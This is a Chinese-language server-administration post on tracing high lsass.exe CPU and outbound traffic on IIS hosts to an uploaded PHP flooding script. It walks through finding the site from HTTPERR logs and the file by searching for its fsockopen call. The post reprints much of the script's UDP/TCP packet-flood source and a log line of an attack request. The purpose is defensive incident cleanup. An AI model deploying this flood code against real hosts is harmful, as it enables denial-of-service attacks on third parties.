近期有幾台伺服器相繼出現 lsass.exe 佔用CPU過高,也不算太高,而且過了一段時間又會恢複正常,CPU過高直接造成網站開啟很慢,周而反覆。
在CPU跑高的時候,伴隨著一個現像就是網路的浮動,有時候上傳居然達到了30M - 90M/s,對外攻擊,第一時間就想到有可能是這個原因,那具體怎麼查呢?
常見的對外檔案,這東西網上搜一下就能找到。
複製代碼 代碼如下:
<?php
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_REQUEST['http'];
$rand = $_REQUEST['exit'];
$exec_time = $_REQUEST['time'];
........
echo $_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
那要如何定位到是哪個站呢?
你可以開啟日誌
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,開啟今天時間的檔案,
裡面有類似這樣的記錄:
複製代碼 代碼如下:
2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
最後三項 783 Disabled 30_FreeHost_1
783就是這個站在IIS中的ID
30_FreeHost_1就是所在池
解決辦法:
找到這個網站,接下來想要解決就好辦了,如果條件允許,可以直接禁用掉fsockopen這個函數,當然這個大部份情況下是不適用的。
那就去這個網站的根止錄下找找吧。
複製代碼 代碼如下:
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
可以藉助一些工具,尋找上面這句話,或是尋找$fp = fsockopen,這樣其本上攻擊檔案就無所遁形了,當然不要刪除了正常的郵件傳送檔案,最後重啟下服務,嗯,不卡了。